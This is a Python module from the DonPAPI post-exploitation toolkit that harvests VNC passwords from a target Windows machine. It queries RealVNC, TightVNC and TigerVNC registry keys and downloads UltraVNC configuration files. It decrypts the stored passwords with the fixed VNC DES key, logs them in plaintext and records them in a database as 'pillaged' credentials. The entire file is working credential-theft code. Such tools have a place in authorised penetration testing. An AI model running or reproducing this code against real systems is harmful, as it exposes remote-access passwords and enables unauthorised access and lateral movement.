DonPAPI/software/sysadmin/vnc.py
2021-10-06 21:15:50 +02:00

208 lines
9.6 KiB
Python

# Code based on vncpasswd.py by trinitronx
# https://github.com/trinitronx/vncpasswd.py
import binascii
import codecs
import traceback
from . import d3des as d
from lib.toolbox import bcolors
# from lazagne.config.winstructure import *
class Vnc():
def __init__(self, myregops, myfileops, logger, options, db):
self.vnckey = [23, 82, 107, 6, 35, 78, 88, 7]
self.myregops = myregops
self.myfileops = myfileops
self.logging = logger
self.options = options
self.db = db
def split_len(self, seq, length):
return [seq[i:i + length] for i in range(0, len(seq), length)]
def do_crypt(self, password, decrypt):
try:
self.logging.debug(f"[{self.options.target_ip}] decoding VNC 1 {password}")
passpadd = (password + b'\x00' * 8)[:8]
strkey = ''.join([chr(x) for x in self.vnckey]).encode()
self.logging.debug(f"[{self.options.target_ip}] decoding VNC {passpadd} : {strkey}")
key = d.deskey(strkey, decrypt)
crypted = d.desfunc(passpadd, key)
self.logging.debug(f"[{self.options.target_ip}] decoding VNC 2 {crypted}")
return crypted
except Exception as ex:
self.logging.error(
f"[{self.options.target_ip}] exception in do_crypt")
self.logging.debug(ex)
def reverse_vncpassword(self, hash):
try:
encpasswd = hash.hex()
pwd = None
if encpasswd:
# If the hex encoded passwd length is longer than 16 hex chars and divisible
# by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
# (1 hex char = 4 binary bits = 1 nibble)
hexpasswd = bytes.fromhex(encpasswd)
if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
splitstr = self.split_len(codecs.encode(hash, 'hex'), 16)
cryptedblocks = []
for sblock in splitstr:
cryptedblocks.append(self.do_crypt(codecs.decode(sblock, 'hex'), True))
pwd = b''.join(cryptedblocks)
elif len(hexpasswd) <= 16:
pwd = self.do_crypt(hash, True)
else:
pwd = self.do_crypt(hash, True)
except Exception as ex:
self.logging.debug(f"Exception reverse_vncpassword {hash} ")
self.logging.debug(ex)
return pwd
def vnc_from_registry(self):
pfound = []
vncs = (
('RealVNC 4.x', 'HKLM\\SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4', 'Password'),
('RealVNC 3.x', 'HKLM\\SOFTWARE\\RealVNC\\vncserver', 'Password'),
('RealVNC 4.x', 'HKLM\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'),
('RealVNC 4.x', 'HKCU\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'),
('RealVNC 3.x', 'HKCU\\Software\\ORL\\WinVNC3', 'Password'),
('TightVNC', 'HKCU\\Software\\TightVNC\\Server', 'Password'),
('TightVNC', 'HKCU\\Software\\TightVNC\\Server', 'PasswordViewOnly'),
('TightVNC', 'HKLM\\Software\\TightVNC\\Server', 'Password'),
('TightVNC ControlPassword', 'HKLM\\Software\\TightVNC\\Server', 'ControlPassword'),
('TightVNC', 'HKLM\\Software\\TightVNC\\Server', 'PasswordViewOnly'),
('TigerVNC', 'HKLM\\Software\\TigerVNC\\Server', 'Password'),
('TigerVNC', 'HKCU\\Software\\TigerVNC\\Server', 'Password'),
('TigerVNC', 'HKCU\\Software\\TigerVNC\\WinVNC4', 'Password'),
)
for vnc in vncs:
try:
reg_key = self.myregops.get_reg_value(vnc[1], vnc[2])
mytype = reg_key[0]
myvalue = reg_key[1]
self.logging.debug(
f"[{self.options.target_ip}] Found VNC {vnc[0]} encoded password in reg {vnc[1]} : {myvalue}")
except Exception:
self.logging.debug(f'Problems with {vnc[0]}')
continue
try:
enc_pwd = myvalue.rstrip(b'\x00')
self.logging.debug(f"[{self.options.target_ip}] Found VNC {vnc[0]} encoded password in reg {enc_pwd}")
# enc_pwd=myvalue
except Exception as ex:
self.logging.debug(f'Problems with decoding: {myvalue} - {binascii.hexlify(myvalue.encode("utf-8"))}')
self.logging.debug(ex)
continue
values = {}
try:
password = self.reverse_vncpassword(enc_pwd)
if password:
values['Password'] = password
self.logging.info(
f"[{self.options.target_ip}] {bcolors.OKGREEN} [VNC] {bcolors.OKBLUE}{mytype} password : {bcolors.WARNING} {password} {bcolors.ENDC}")
except Exception:
self.logging.debug(u'Problems with reverse_vncpassword: {reg_key}'.format(reg_key=reg_key))
continue
values['Server'] = vnc[0]
# values['Hash'] = enc_pwd
pfound.append(values)
############PROCESSING DATA
self.db.add_credz(credz_type='VNC',
credz_username=vnc[0],
credz_password=password.decode('utf-8'),
credz_target=self.options.target_ip,
credz_path=vnc[1],
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username='MACHINE$')
return pfound
def vnc_from_filesystem(self):
# os.environ could be used here because paths are identical between users
pfound = []
vncs = (
('UltraVNC', 'ProgramFiles(x86)' + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')),
('UltraVNC', 'PROGRAMFILES' + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')),
('UltraVNC', 'PROGRAMFILES' + '\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')),
('UltraVNC', 'ProgramFiles(x86)' + '\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')),
('UltraVNC', 'Program Files (x86)' + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')),
('UltraVNC', 'PROGRAM FILES' + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')),
('UltraVNC', 'PROGRAM FILES' + '\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2')),
('UltraVNC', 'Program Files (x86)' + '\\UltraVNC\\ultravnc.ini', ('passwd', 'passwd2'))
)
for vnc in vncs:
blacklist = ['.', '..']
browser_path = vnc[1]
browser_name = vnc[0]
self.logging.debug(
f"[{self.options.target_ip}] [+] Looking for VNC {browser_name} Profile Files in {browser_path}")
try:
# Downloading profile file
localfile = self.myfileops.get_file(browser_path, allow_access_error=False)
if localfile != None:
self.logging.debug(
f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE} VNC {browser_name} config file : {browser_path}{bcolors.ENDC}")
else:
continue
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception Getting Files from VNC {browser_name} - VNC doesn't exist{bcolors.ENDC}")
self.logging.debug(ex)
continue
strings_to_match = vnc[2]
for string_to_match in strings_to_match:
string_to_match += '='
enc_pwd = ''
try:
with open(localfile, 'r') as file:
for line in file:
if string_to_match in line:
enc_pwd = line.replace(string_to_match, '').replace('\n', '')
except Exception:
self.logging.debug(f'Problems with file: {localfile}')
continue
if len(enc_pwd) > 2:
values = {}
try:
password = self.reverse_vncpassword(enc_pwd)
if password:
values['Password'] = password
self.logging.info(
f"[{self.options.target_ip}] {bcolors.OKBLUE} [VNC] {browser_name} password : {bcolors.WARNING} {password} {bcolors.ENDC}")
except Exception:
self.logging.debug(u'Problems with reverse_vncpassword: {enc_pwd}'.format(enc_pwd=enc_pwd))
self.logging.debug(traceback.format_exc())
continue
values['Server'] = vnc[0]
# values['Hash'] = enc_pwd
pfound.append(values)
############PROCESSING DATA
self.db.add_credz(credz_type='VNC',
credz_username=vnc[0],
credz_password=password.decode('utf-8'),
credz_target='',
credz_path=vnc[1],
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username='MACHINE$')
return pfound
def vnc_from_process(self):
# Not yet implemented
return []
def run(self):
return self.vnc_from_filesystem() + self.vnc_from_registry() + self.vnc_from_process()